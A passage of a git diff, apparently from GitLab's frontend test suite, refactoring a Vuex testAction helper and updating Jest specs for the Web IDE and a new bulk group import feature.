* https://vuex.vuejs.org/en/testing.html
*
- * @param {Function} action to be tested
+ * @param {(Function|Object)} action to be tested, or object of named parameters
* @param {Object} payload will be provided to the action
* @param {Object} state will be provided to the action
* @param {Array} [expectedMutations=[]] mutations expected to be committed
@@ -39,15 +39,42 @@ const noop = () => {};
* [], // expected actions
* ).then(done)
* .catch(done.fail);
+ *
+ * @example
+ * await testAction({
+ * action: actions.actionName,
+ * payload: { deleteListId: 1 },
+ * state: { lists: [1, 2, 3] },
+ * expectedMutations: [ { type: types.MUTATION} ],
+ * expectedActions: [],
+ * })
*/
export default (
- action,
- payload,
- state,
- expectedMutations = [],
- expectedActions = [],
- done = noop,
+ actionArg,
+ payloadArg,
+ stateArg,
+ expectedMutationsArg = [],
+ expectedActionsArg = [],
+ doneArg = noop,
) => {
+ let action = actionArg;
+ let payload = payloadArg;
+ let state = stateArg;
+ let expectedMutations = expectedMutationsArg;
+ let expectedActions = expectedActionsArg;
+ let done = doneArg;
+
+ if (typeof actionArg !== 'function') {
+ ({
+ action,
+ payload,
+ state,
+ expectedMutations = [],
+ expectedActions = [],
+ done = noop,
+ } = actionArg);
+ }
+
const mutations = [];
const actions = [];
diff --git a/spec/frontend/helpers/vuex_action_helper_spec.js b/spec/frontend/helpers/vuex_action_helper_spec.js
index 61d05762a04..4d7bf21820a 100644
--- a/spec/frontend/helpers/vuex_action_helper_spec.js
+++ b/spec/frontend/helpers/vuex_action_helper_spec.js
@@ -1,166 +1,174 @@
import MockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'helpers/test_constants';
import axios from '~/lib/utils/axios_utils';
-import testAction from './vuex_action_helper';
-
-describe('VueX test helper (testAction)', () => {
- let originalExpect;
- let assertion;
- let mock;
- const noop = () => {};
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- /**
- * In order to test the helper properly, we need to overwrite the Jest
- * `expect` helper. We test that the testAction helper properly passes the
- * dispatched actions/committed mutations to the Jest helper.
- */
- originalExpect = expect;
- assertion = null;
- global.expect = actual => ({
- toEqual: () => {
- originalExpect(actual).toEqual(assertion);
- },
- });
- });
+import testActionFn from './vuex_action_helper';
- afterEach(() => {
- mock.restore();
- global.expect = originalExpect;
- });
+const testActionFnWithOptionsArg = (...args) => {
+ const [action, payload, state, expectedMutations, expectedActions, done] = args;
+ return testActionFn({ action, payload, state, expectedMutations, expectedActions, done });
+};
- it('properly passes state and payload to action', () => {
- const exampleState = { FOO: 12, BAR: 3 };
- const examplePayload = { BAZ: 73, BIZ: 55 };
+describe.each([testActionFn, testActionFnWithOptionsArg])(
+ 'VueX test helper (testAction)',
+ testAction => {
+ let originalExpect;
+ let assertion;
+ let mock;
+ const noop = () => {};
- const action = ({ state }, payload) => {
- originalExpect(state).toEqual(exampleState);
- originalExpect(payload).toEqual(examplePayload);
- };
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ /**
+ * In order to test the helper properly, we need to overwrite the Jest
+ * `expect` helper. We test that the testAction helper properly passes the
+ * dispatched actions/committed mutations to the Jest helper.
+ */
+ originalExpect = expect;
+ assertion = null;
+ global.expect = actual => ({
+ toEqual: () => {
+ originalExpect(actual).toEqual(assertion);
+ },
+ });
+ });
- assertion = { mutations: [], actions: [] };
+ afterEach(() => {
+ mock.restore();
+ global.expect = originalExpect;
+ });
- testAction(action, examplePayload, exampleState);
- });
+ it('properly passes state and payload to action', () => {
+ const exampleState = { FOO: 12, BAR: 3 };
+ const examplePayload = { BAZ: 73, BIZ: 55 };
- describe('given a sync action', () => {
- it('mocks committing mutations', () => {
- const action = ({ commit }) => {
- commit('MUTATION');
+ const action = ({ state }, payload) => {
+ originalExpect(state).toEqual(exampleState);
+ originalExpect(payload).toEqual(examplePayload);
};
- assertion = { mutations: [{ type: 'MUTATION' }], actions: [] };
+ assertion = { mutations: [], actions: [] };
- testAction(action, null, {}, assertion.mutations, assertion.actions, noop);
+ testAction(action, examplePayload, exampleState);
});
- it('mocks dispatching actions', () => {
- const action = ({ dispatch }) => {
- dispatch('ACTION');
- };
+ describe('given a sync action', () => {
+ it('mocks committing mutations', () => {
+ const action = ({ commit }) => {
+ commit('MUTATION');
+ };
- assertion = { actions: [{ type: 'ACTION' }], mutations: [] };
+ assertion = { mutations: [{ type: 'MUTATION' }], actions: [] };
- testAction(action, null, {}, assertion.mutations, assertion.actions, noop);
- });
+ testAction(action, null, {}, assertion.mutations, assertion.actions, noop);
+ });
- it('works with done callback once finished', done => {
- assertion = { mutations: [], actions: [] };
+ it('mocks dispatching actions', () => {
+ const action = ({ dispatch }) => {
+ dispatch('ACTION');
+ };
- testAction(noop, null, {}, assertion.mutations, assertion.actions, done);
- });
+ assertion = { actions: [{ type: 'ACTION' }], mutations: [] };
- it('returns a promise', done => {
- assertion = { mutations: [], actions: [] };
+ testAction(action, null, {}, assertion.mutations, assertion.actions, noop);
+ });
- testAction(noop, null, {}, assertion.mutations, assertion.actions)
- .then(done)
- .catch(done.fail);
- });
- });
-
- describe('given an async action (returning a promise)', () => {
- let lastError;
- const data = { FOO: 'BAR' };
-
- const asyncAction = ({ commit, dispatch }) => {
- dispatch('ACTION');
-
- return axios
- .get(TEST_HOST)
- .catch(error => {
- commit('ERROR');
- lastError = error;
- throw error;
- })
- .then(() => {
- commit('SUCCESS');
- return data;
- });
- };
+ it('works with done callback once finished', done => {
+ assertion = { mutations: [], actions: [] };
- beforeEach(() => {
- lastError = null;
+ testAction(noop, null, {}, assertion.mutations, assertion.actions, done);
+ });
+
+ it('returns a promise', done => {
+ assertion = { mutations: [], actions: [] };
+
+ testAction(noop, null, {}, assertion.mutations, assertion.actions)
+ .then(done)
+ .catch(done.fail);
+ });
});
- it('works with done callback once finished', done => {
- mock.onGet(TEST_HOST).replyOnce(200, 42);
+ describe('given an async action (returning a promise)', () => {
+ let lastError;
+ const data = { FOO: 'BAR' };
- assertion = { mutations: [{ type: 'SUCCESS' }], actions: [{ type: 'ACTION' }] };
+ const asyncAction = ({ commit, dispatch }) => {
+ dispatch('ACTION');
- testAction(asyncAction, null, {}, assertion.mutations, assertion.actions, done);
- });
+ return axios
+ .get(TEST_HOST)
+ .catch(error => {
+ commit('ERROR');
+ lastError = error;
+ throw error;
+ })
+ .then(() => {
+ commit('SUCCESS');
+ return data;
+ });
+ };
- it('returns original data of successful promise while checking actions/mutations', done => {
- mock.onGet(TEST_HOST).replyOnce(200, 42);
+ beforeEach(() => {
+ lastError = null;
+ });
- assertion = { mutations: [{ type: 'SUCCESS' }], actions: [{ type: 'ACTION' }] };
+ it('works with done callback once finished', done => {
+ mock.onGet(TEST_HOST).replyOnce(200, 42);
- testAction(asyncAction, null, {}, assertion.mutations, assertion.actions)
- .then(res => {
- originalExpect(res).toEqual(data);
- done();
- })
- .catch(done.fail);
- });
+ assertion = { mutations: [{ type: 'SUCCESS' }], actions: [{ type: 'ACTION' }] };
+
+ testAction(asyncAction, null, {}, assertion.mutations, assertion.actions, done);
+ });
+
+ it('returns original data of successful promise while checking actions/mutations', done => {
+ mock.onGet(TEST_HOST).replyOnce(200, 42);
- it('returns original error of rejected promise while checking actions/mutations', done => {
- mock.onGet(TEST_HOST).replyOnce(500, '');
+ assertion = { mutations: [{ type: 'SUCCESS' }], actions: [{ type: 'ACTION' }] };
- assertion = { mutations: [{ type: 'ERROR' }], actions: [{ type: 'ACTION' }] };
+ testAction(asyncAction, null, {}, assertion.mutations, assertion.actions)
+ .then(res => {
+ originalExpect(res).toEqual(data);
+ done();
+ })
+ .catch(done.fail);
+ });
- testAction(asyncAction, null, {}, assertion.mutations, assertion.actions)
- .then(done.fail)
- .catch(error => {
- originalExpect(error).toBe(lastError);
- done();
- });
+ it('returns original error of rejected promise while checking actions/mutations', done => {
+ mock.onGet(TEST_HOST).replyOnce(500, '');
+
+ assertion = { mutations: [{ type: 'ERROR' }], actions: [{ type: 'ACTION' }] };
+
+ testAction(asyncAction, null, {}, assertion.mutations, assertion.actions)
+ .then(done.fail)
+ .catch(error => {
+ originalExpect(error).toBe(lastError);
+ done();
+ });
+ });
});
- });
- it('works with async actions not returning promises', done => {
- const data = { FOO: 'BAR' };
+ it('works with async actions not returning promises', done => {
+ const data = { FOO: 'BAR' };
- const asyncAction = ({ commit, dispatch }) => {
- dispatch('ACTION');
+ const asyncAction = ({ commit, dispatch }) => {
+ dispatch('ACTION');
- axios
- .get(TEST_HOST)
- .then(() => {
- commit('SUCCESS');
- return data;
- })
- .catch(error => {
- commit('ERROR');
- throw error;
- });
- };
+ axios
+ .get(TEST_HOST)
+ .then(() => {
+ commit('SUCCESS');
+ return data;
+ })
+ .catch(error => {
+ commit('ERROR');
+ throw error;
+ });
+ };
- mock.onGet(TEST_HOST).replyOnce(200, 42);
+ mock.onGet(TEST_HOST).replyOnce(200, 42);
- assertion = { mutations: [{ type: 'SUCCESS' }], actions: [{ type: 'ACTION' }] };
+ assertion = { mutations: [{ type: 'SUCCESS' }], actions: [{ type: 'ACTION' }] };
- testAction(asyncAction, null, {}, assertion.mutations, assertion.actions, done);
- });
-});
+ testAction(asyncAction, null, {}, assertion.mutations, assertion.actions, done);
+ });
+ },
+);
diff --git a/spec/frontend/ide/components/ide_spec.js b/spec/frontend/ide/components/ide_spec.js
index ff3852b6775..315298eaf26 100644
--- a/spec/frontend/ide/components/ide_spec.js
+++ b/spec/frontend/ide/components/ide_spec.js
@@ -1,15 +1,8 @@
import Vuex from 'vuex';
import { createLocalVue, shallowMount } from '@vue/test-utils';
-import { GlButton, GlLoadingIcon } from '@gitlab/ui';
+import waitForPromises from 'helpers/wait_for_promises';
import { createStore } from '~/ide/stores';
import ErrorMessage from '~/ide/components/error_message.vue';
-import FindFile from '~/vue_shared/components/file_finder/index.vue';
-import CommitEditorHeader from '~/ide/components/commit_sidebar/editor_header.vue';
-import RepoTabs from '~/ide/components/repo_tabs.vue';
-import IdeStatusBar from '~/ide/components/ide_status_bar.vue';
-import RightPane from '~/ide/components/panes/right.vue';
-import NewModal from '~/ide/components/new_dropdown/modal.vue';
-
import ide from '~/ide/components/ide.vue';
import { file } from '../helpers';
import { projectData } from '../mock_data';
@@ -39,17 +32,6 @@ describe('WebIDE', () => {
return shallowMount(ide, {
store,
localVue,
- stubs: {
- ErrorMessage,
- GlButton,
- GlLoadingIcon,
- CommitEditorHeader,
- RepoTabs,
- IdeStatusBar,
- FindFile,
- RightPane,
- NewModal,
- },
});
}
@@ -74,27 +56,24 @@ describe('WebIDE', () => {
describe('ide component, non-empty repo', () => {
describe('error message', () => {
- it('does not show error message when it is not set', () => {
- wrapper = createComponent({
- state: {
- errorMessage: null,
- },
- });
-
- expect(wrapper.find(ErrorMessage).exists()).toBe(false);
- });
-
- it('shows error message when set', () => {
- wrapper = createComponent({
- state: {
- errorMessage: {
- text: 'error',
+ it.each`
+ errorMessage | exists
+ ${null} | ${false}
+ ${{ text: 'error' }} | ${true}
+ `(
+ 'should error message exists=$exists when errorMessage=$errorMessage',
+ async ({ errorMessage, exists }) => {
+ wrapper = createComponent({
+ state: {
+ errorMessage,
},
- },
- });
+ });
- expect(wrapper.find(ErrorMessage).exists()).toBe(true);
- });
+ await waitForPromises();
+
+ expect(wrapper.find(ErrorMessage).exists()).toBe(exists);
+ },
+ );
});
describe('onBeforeUnload', () => {
diff --git a/spec/frontend/ide/components/terminal/session_spec.js b/spec/frontend/ide/components/terminal/session_spec.js
index ce61a31691a..3ca37166ac4 100644
--- a/spec/frontend/ide/components/terminal/session_spec.js
+++ b/spec/frontend/ide/components/terminal/session_spec.js
@@ -1,4 +1,5 @@
import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { GlButton } from '@gitlab/ui';
import Vuex from 'vuex';
import TerminalSession from '~/ide/components/terminal/session.vue';
import Terminal from '~/ide/components/terminal/terminal.vue';
@@ -38,6 +39,8 @@ describe('IDE TerminalSession', () => {
});
};
+ const findButton = () => wrapper.find(GlButton);
+
beforeEach(() => {
state = {
session: { status: RUNNING, terminalPath: TEST_TERMINAL_PATH },
@@ -69,8 +72,8 @@ describe('IDE TerminalSession', () => {
state.session = { status };
factory();
- const button = wrapper.find('button');
- button.trigger('click');
+ const button = findButton();
+ button.vm.$emit('click');
return wrapper.vm.$nextTick().then(() => {
expect(button.text()).toEqual('Stop Terminal');
@@ -84,8 +87,8 @@ describe('IDE TerminalSession', () => {
state.session = { status };
factory();
- const button = wrapper.find('button');
- button.trigger('click');
+ const button = findButton();
+ button.vm.$emit('click');
return wrapper.vm.$nextTick().then(() => {
expect(button.text()).toEqual('Restart Terminal');
diff --git a/spec/frontend/ide/components/terminal/view_spec.js b/spec/frontend/ide/components/terminal/view_spec.js
index eff200550da..37f7957c526 100644
--- a/spec/frontend/ide/components/terminal/view_spec.js
+++ b/spec/frontend/ide/components/terminal/view_spec.js
@@ -1,6 +1,7 @@
import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import { TEST_HOST } from 'spec/test_constants';
+import waitForPromises from 'helpers/wait_for_promises';
import TerminalEmptyState from '~/ide/components/terminal/empty_state.vue';
import TerminalView from '~/ide/components/terminal/view.vue';
import TerminalSession from '~/ide/components/terminal/session.vue';
@@ -17,7 +18,7 @@ describe('IDE TerminalView', () => {
let getters;
let wrapper;
- const factory = () => {
+ const factory = async () => {
const store = new Vuex.Store({
modules: {
terminal: {
@@ -30,6 +31,9 @@ describe('IDE TerminalView', () => {
});
wrapper = shallowMount(TerminalView, { localVue, store });
+
+ // Uses deferred components, so wait for those to load...
+ await waitForPromises();
};
beforeEach(() => {
@@ -59,8 +63,8 @@ describe('IDE TerminalView', () => {
wrapper.destroy();
});
- it('renders empty state', () => {
- factory();
+ it('renders empty state', async () => {
+ await factory();
expect(wrapper.find(TerminalEmptyState).props()).toEqual({
helpPath: TEST_HELP_PATH,
@@ -69,8 +73,8 @@ describe('IDE TerminalView', () => {
});
});
- it('hides splash and starts, when started', () => {
- factory();
+ it('hides splash and starts, when started', async () => {
+ await factory();
expect(actions.startSession).not.toHaveBeenCalled();
expect(actions.hideSplash).not.toHaveBeenCalled();
@@ -81,9 +85,9 @@ describe('IDE TerminalView', () => {
expect(actions.hideSplash).toHaveBeenCalled();
});
- it('shows Web Terminal when started', () => {
+ it('shows Web Terminal when started', async () => {
state.isShowSplash = false;
- factory();
+ await factory();
expect(wrapper.find(TerminalEmptyState).exists()).toBe(false);
expect(wrapper.find(TerminalSession).exists()).toBe(true);
diff --git a/spec/frontend/ide/stores/actions/file_spec.js b/spec/frontend/ide/stores/actions/file_spec.js
index cc290fc526e..744ac086b5f 100644
--- a/spec/frontend/ide/stores/actions/file_spec.js
+++ b/spec/frontend/ide/stores/actions/file_spec.js
@@ -510,8 +510,6 @@ describe('IDE store file actions', () => {
describe('changeFileContent', () => {
let tmpFile;
- const callAction = (content = 'content\n') =>
- store.dispatch('changeFileContent', { path: tmpFile.path, content });
beforeEach(() => {
tmpFile = file('tmpFile');
@@ -521,11 +519,23 @@ describe('IDE store file actions', () => {
});
it('updates file content', () => {
- return callAction().then(() => {
+ const content = 'content\n';
+
+ return store.dispatch('changeFileContent', { path: tmpFile.path, content }).then(() => {
expect(tmpFile.content).toBe('content\n');
});
});
+ it('does nothing if path does not exist', () => {
+ const content = 'content\n';
+
+ return store
+ .dispatch('changeFileContent', { path: 'not/a/real_file.txt', content })
+ .then(() => {
+ expect(tmpFile.content).toBe('\n');
+ });
+ });
+
it('adds file into stagedFiles array', () => {
return store
.dispatch('changeFileContent', {
diff --git a/spec/frontend/ide/utils_spec.js b/spec/frontend/ide/utils_spec.js
index 6cd2128d356..3b772c0b259 100644
--- a/spec/frontend/ide/utils_spec.js
+++ b/spec/frontend/ide/utils_spec.js
@@ -4,7 +4,6 @@ import {
registerLanguages,
registerSchema,
trimPathComponents,
- insertFinalNewline,
trimTrailingWhitespace,
getPathParents,
getPathParent,
@@ -225,29 +224,6 @@ describe('WebIDE utils', () => {
});
});
- describe('addFinalNewline', () => {
- it.each`
- input | output
- ${'some text'} | ${'some text\n'}
- ${'some text\n'} | ${'some text\n'}
- ${'some text\n\n'} | ${'some text\n\n'}
- ${'some\n text'} | ${'some\n text\n'}
- `('adds a newline if it doesnt already exist for input: $input', ({ input, output }) => {
- expect(insertFinalNewline(input)).toBe(output);
- });
-
- it.each`
- input | output
- ${'some text'} | ${'some text\r\n'}
- ${'some text\r\n'} | ${'some text\r\n'}
- ${'some text\n'} | ${'some text\n\r\n'}
- ${'some text\r\n\r\n'} | ${'some text\r\n\r\n'}
- ${'some\r\n text'} | ${'some\r\n text\r\n'}
- `('works with CRLF newline style; input: $input', ({ input, output }) => {
- expect(insertFinalNewline(input, '\r\n')).toBe(output);
- });
- });
-
describe('getPathParents', () => {
it.each`
path | parents
diff --git a/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js b/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js
new file mode 100644
index 00000000000..d88a31a0e47
--- /dev/null
+++ b/spec/frontend/import_entities/import_groups/components/import_table_row_spec.js
@@ -0,0 +1,112 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlButton, GlLink, GlFormInput } from '@gitlab/ui';
+import Select2Select from '~/vue_shared/components/select2_select.vue';
+import ImportTableRow from '~/import_entities/import_groups/components/import_table_row.vue';
+import { STATUSES } from '~/import_entities/constants';
+import { availableNamespacesFixture } from '../graphql/fixtures';
+
+const getFakeGroup = status => ({
+ web_url: 'https://fake.host/',
+ full_path: 'fake_group_1',
+ full_name: 'fake_name_1',
+ import_target: {
+ target_namespace: 'root',
+ new_name: 'group1',
+ },
+ id: 1,
+ status,
+});
+
+describe('import table row', () => {
+ let wrapper;
+ let group;
+
+ const findByText = (cmp, text) => {
+ return wrapper.findAll(cmp).wrappers.find(node => node.text().indexOf(text) === 0);
+ };
+ const findImportButton = () => findByText(GlButton, 'Import');
+ const findNameInput = () => wrapper.find(GlFormInput);
+ const findNamespaceDropdown = () => wrapper.find(Select2Select);
+
+ const createComponent = props => {
+ wrapper = shallowMount(ImportTableRow, {
+ propsData: {
+ availableNamespaces: availableNamespacesFixture,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('events', () => {
+ beforeEach(() => {
+ group = getFakeGroup(STATUSES.NONE);
+ createComponent({ group });
+ });
+
+ it.each`
+ selector | sourceEvent | payload | event
+ ${findNamespaceDropdown} | ${'input'} | ${'demo'} | ${'update-target-namespace'}
+ ${findNameInput} | ${'input'} | ${'demo'} | ${'update-new-name'}
+ ${findImportButton} | ${'click'} | ${undefined} | ${'import-group'}
+ `('invokes $event', ({ selector, sourceEvent, payload, event }) => {
+ selector().vm.$emit(sourceEvent, payload);
+ expect(wrapper.emitted(event)).toBeDefined();
+ expect(wrapper.emitted(event)[0][0]).toBe(payload);
+ });
+ });
+
+ describe('when entity status is NONE', () => {
+ beforeEach(() => {
+ group = getFakeGroup(STATUSES.NONE);
+ createComponent({ group });
+ });
+
+ it('renders Import button', () => {
+ expect(findByText(GlButton, 'Import').exists()).toBe(true);
+ });
+
+ it('renders namespace dropdown as not disabled', () => {
+ expect(findNamespaceDropdown().attributes('disabled')).toBe(undefined);
+ });
+ });
+
+ describe('when entity status is SCHEDULING', () => {
+ beforeEach(() => {
+ group = getFakeGroup(STATUSES.SCHEDULING);
+ createComponent({ group });
+ });
+
+ it('does not render Import button', () => {
+ expect(findByText(GlButton, 'Import')).toBe(undefined);
+ });
+
+ it('renders namespace dropdown as disabled', () => {
+ expect(findNamespaceDropdown().attributes('disabled')).toBe('true');
+ });
+ });
+
+ describe('when entity status is FINISHED', () => {
+ beforeEach(() => {
+ group = getFakeGroup(STATUSES.FINISHED);
+ createComponent({ group });
+ });
+
+ it('does not render Import button', () => {
+ expect(findByText(GlButton, 'Import')).toBe(undefined);
+ });
+
+ it('does not render namespace dropdown', () => {
+ expect(findNamespaceDropdown().exists()).toBe(false);
+ });
+
+ it('renders target as link', () => {
+ const TARGET_LINK = `${group.import_target.target_namespace}/${group.import_target.new_name}`;
+ expect(findByText(GlLink, TARGET_LINK).exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/import_entities/import_groups/components/import_table_spec.js b/spec/frontend/import_entities/import_groups/components/import_table_spec.js
new file mode 100644
index 00000000000..0ca721cd951
--- /dev/null
+++ b/spec/frontend/import_entities/import_groups/components/import_table_spec.js
@@ -0,0 +1,103 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import { GlLoadingIcon } from '@gitlab/ui';
+import waitForPromises from 'helpers/wait_for_promises';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
+import ImportTableRow from '~/import_entities/import_groups/components/import_table_row.vue';
+import ImportTable from '~/import_entities/import_groups/components/import_table.vue';
+import setTargetNamespaceMutation from '~/import_entities/import_groups/graphql/mutations/set_target_namespace.mutation.graphql';
+import setNewNameMutation from '~/import_entities/import_groups/graphql/mutations/set_new_name.mutation.graphql';
+import importGroupMutation from '~/import_entities/import_groups/graphql/mutations/import_group.mutation.graphql';
+
+import { STATUSES } from '~/import_entities/constants';
+
+import { availableNamespacesFixture, generateFakeEntry } from '../graphql/fixtures';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+describe('import table', () => {
+ let wrapper;
+ let apolloProvider;
+
+ const createComponent = ({ bulkImportSourceGroups }) => {
+ apolloProvider = createMockApollo([], {
+ Query: {
+ availableNamespaces: () => availableNamespacesFixture,
+ bulkImportSourceGroups,
+ },
+ Mutation: {
+ setTargetNamespace: jest.fn(),
+ setNewName: jest.fn(),
+ importGroup: jest.fn(),
+ },
+ });
+
+ wrapper = shallowMount(ImportTable, {
+ localVue,
+ apolloProvider,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders loading icon while performing request', async () => {
+ createComponent({
+ bulkImportSourceGroups: () => new Promise(() => {}),
+ });
+ await waitForPromises();
+
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ });
+
+ it('does not renders loading icon when request is completed', async () => {
+ createComponent({
+ bulkImportSourceGroups: () => [],
+ });
+ await waitForPromises();
+
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
+ });
+
+ it('renders import row for each group in response', async () => {
+ const FAKE_GROUPS = [
+ generateFakeEntry({ id: 1, status: STATUSES.NONE }),
+ generateFakeEntry({ id: 2, status: STATUSES.FINISHED }),
+ ];
+ createComponent({
+ bulkImportSourceGroups: () => FAKE_GROUPS,
+ });
+ await waitForPromises();
+
+ expect(wrapper.findAll(ImportTableRow)).toHaveLength(FAKE_GROUPS.length);
+ });
+
+ describe('converts row events to mutation invocations', () => {
+ const FAKE_GROUP = generateFakeEntry({ id: 1, status: STATUSES.NONE });
+
+ beforeEach(() => {
+ createComponent({
+ bulkImportSourceGroups: () => [FAKE_GROUP],
+ });
+ return waitForPromises();
+ });
+
+ it.each`
+ event | payload | mutation | variables
+ ${'update-target-namespace'} | ${'new-namespace'} | ${setTargetNamespaceMutation} | ${{ sourceGroupId: FAKE_GROUP.id, targetNamespace: 'new-namespace' }}
+ ${'update-new-name'} | ${'new-name'} | ${setNewNameMutation} | ${{ sourceGroupId: FAKE_GROUP.id, newName: 'new-name' }}
+ ${'import-group'} | ${undefined} | ${importGroupMutation} | ${{ sourceGroupId: FAKE_GROUP.id }}
+ `('correctly maps $event to mutation', async ({ event, payload, mutation, variables }) => {
+ jest.spyOn(apolloProvider.defaultClient, 'mutate');
+ wrapper.find(ImportTableRow).vm.$emit(event, payload);
+ await waitForPromises();
+ expect(apolloProvider.defaultClient.mutate).toHaveBeenCalledWith({
+ mutation,
+ variables,
+ });
+ });
+ });
+});
diff --git a/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js b/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js
new file mode 100644
index 00000000000..cacbe358a62
--- /dev/null
+++ b/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js
@@ -0,0 +1,221 @@
+import MockAdapter from 'axios-mock-adapter';
+import { InMemoryCache } from 'apollo-cache-inmemory';
+import { createMockClient } from 'mock-apollo-client';
+import waitForPromises from 'helpers/wait_for_promises';
+import axios from '~/lib/utils/axios_utils';
+import {
+ clientTypenames,
+ createResolvers,
+} from '~/import_entities/import_groups/graphql/client_factory';
+import { StatusPoller } from '~/import_entities/import_groups/graphql/services/status_poller';
+import { STATUSES } from '~/import_entities/constants';
+
+import bulkImportSourceGroupsQuery from '~/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql';
+import availableNamespacesQuery from '~/import_entities/import_groups/graphql/queries/available_namespaces.query.graphql';
+import setTargetNamespaceMutation from '~/import_entities/import_groups/graphql/mutations/set_target_namespace.mutation.graphql';
+import setNewNameMutation from '~/import_entities/import_groups/graphql/mutations/set_new_name.mutation.graphql';
+import importGroupMutation from '~/import_entities/import_groups/graphql/mutations/import_group.mutation.graphql';
+import httpStatus from '~/lib/utils/http_status';
+import { statusEndpointFixture, availableNamespacesFixture } from './fixtures';
+
+jest.mock('~/import_entities/import_groups/graphql/services/status_poller', () => ({
+ StatusPoller: jest.fn().mockImplementation(function mock() {
+ this.startPolling = jest.fn();
+ }),
+}));
+
+const FAKE_ENDPOINTS = {
+ status: '/fake_status_url',
+ availableNamespaces: '/fake_available_namespaces',
+ createBulkImport: '/fake_create_bulk_import',
+};
+
+describe('Bulk import resolvers', () => {
+ let axiosMockAdapter;
+ let client;
+
+ beforeEach(() => {
+ axiosMockAdapter = new MockAdapter(axios);
+ client = createMockClient({
+ cache: new InMemoryCache({
+ fragmentMatcher: { match: () => true },
+ addTypename: false,
+ }),
+ resolvers: createResolvers({ endpoints: FAKE_ENDPOINTS }),
+ });
+ });
+
+ afterEach(() => {
+ axiosMockAdapter.restore();
+ });
+
+ describe('queries', () => {
+ describe('availableNamespaces', () => {
+ let results;
+
+ beforeEach(async () => {
+ axiosMockAdapter
+ .onGet(FAKE_ENDPOINTS.availableNamespaces)
+ .reply(httpStatus.OK, availableNamespacesFixture);
+
+ const response = await client.query({ query: availableNamespacesQuery });
+ results = response.data.availableNamespaces;
+ });
+
+ it('mirrors REST endpoint response fields', () => {
+ const extractRelevantFields = obj => ({ id: obj.id, full_path: obj.full_path });
+
+ expect(results.map(extractRelevantFields)).toStrictEqual(
+ availableNamespacesFixture.map(extractRelevantFields),
+ );
+ });
+ });
+
+ describe('bulkImportSourceGroups', () => {
+ let results;
+
+ beforeEach(async () => {
+ axiosMockAdapter.onGet(FAKE_ENDPOINTS.status).reply(httpStatus.OK, statusEndpointFixture);
+ axiosMockAdapter
+ .onGet(FAKE_ENDPOINTS.availableNamespaces)
+ .reply(httpStatus.OK, availableNamespacesFixture);
+
+ const response = await client.query({ query: bulkImportSourceGroupsQuery });
+ results = response.data.bulkImportSourceGroups;
+ });
+
+ it('mirrors REST endpoint response fields', () => {
+ const MIRRORED_FIELDS = ['id', 'full_name', 'full_path', 'web_url'];
+ expect(
+ results.every((r, idx) =>
+ MIRRORED_FIELDS.every(
+ field => r[field] === statusEndpointFixture.importable_data[idx][field],
+ ),
+ ),
+ ).toBe(true);
+ });
+
+ it('populates each result instance with status field default to none', () => {
+ expect(results.every(r => r.status === STATUSES.NONE)).toBe(true);
+ });
+
+ it('populates each result instance with import_target defaulted to first available namespace', () => {
+ expect(
+ results.every(
+ r => r.import_target.target_namespace === availableNamespacesFixture[0].full_path,
+ ),
+ ).toBe(true);
+ });
+ });
+ });
+
+ describe('mutations', () => {
+ let results;
+ const GROUP_ID = 1;
+
+ beforeEach(() => {
+ client.writeQuery({
+ query: bulkImportSourceGroupsQuery,
+ data: {
+ bulkImportSourceGroups: [
+ {
+ __typename: clientTypenames.BulkImportSourceGroup,
+ id: GROUP_ID,
+ status: STATUSES.NONE,
+ web_url: 'https://fake.host/1',
+ full_path: 'fake_group_1',
+ full_name: 'fake_name_1',
+ import_target: {
+ target_namespace: 'root',
+ new_name: 'group1',
+ },
+ },
+ ],
+ },
+ });
+
+ client
+ .watchQuery({
+ query: bulkImportSourceGroupsQuery,
+ fetchPolicy: 'cache-only',
+ })
+ .subscribe(({ data }) => {
+ results = data.bulkImportSourceGroups;
+ });
+ });
+
+ it('setTargetNamespaces updates group target namespace', async () => {
+ const NEW_TARGET_NAMESPACE = 'target';
+ await client.mutate({
+ mutation: setTargetNamespaceMutation,
+ variables: { sourceGroupId: GROUP_ID, targetNamespace: NEW_TARGET_NAMESPACE },
+ });
+
+ expect(results[0].import_target.target_namespace).toBe(NEW_TARGET_NAMESPACE);
+ });
+
+ it('setNewName updates group target name', async () => {
+ const NEW_NAME = 'new';
+ await client.mutate({
+ mutation: setNewNameMutation,
+ variables: { sourceGroupId: GROUP_ID, newName: NEW_NAME },
+ });
+
+ expect(results[0].import_target.new_name).toBe(NEW_NAME);
+ });
+
+ describe('importGroup', () => {
+ it('sets status to SCHEDULING when request initiates', async () => {
+ axiosMockAdapter.onPost(FAKE_ENDPOINTS.createBulkImport).reply(() => new Promise(() => {}));
+
+ client.mutate({
+ mutation: importGroupMutation,
+ variables: { sourceGroupId: GROUP_ID },
+ });
+ await waitForPromises();
+
+ const { bulkImportSourceGroups: intermediateResults } = client.readQuery({
+ query: bulkImportSourceGroupsQuery,
+ });
+
+ expect(intermediateResults[0].status).toBe(STATUSES.SCHEDULING);
+ });
+
+ it('sets group status to STARTED when request completes', async () => {
+ axiosMockAdapter.onPost(FAKE_ENDPOINTS.createBulkImport).reply(httpStatus.OK);
+ await client.mutate({
+ mutation: importGroupMutation,
+ variables: { sourceGroupId: GROUP_ID },
+ });
+
+ expect(results[0].status).toBe(STATUSES.STARTED);
+ });
+
+ it('starts polling when request completes', async () => {
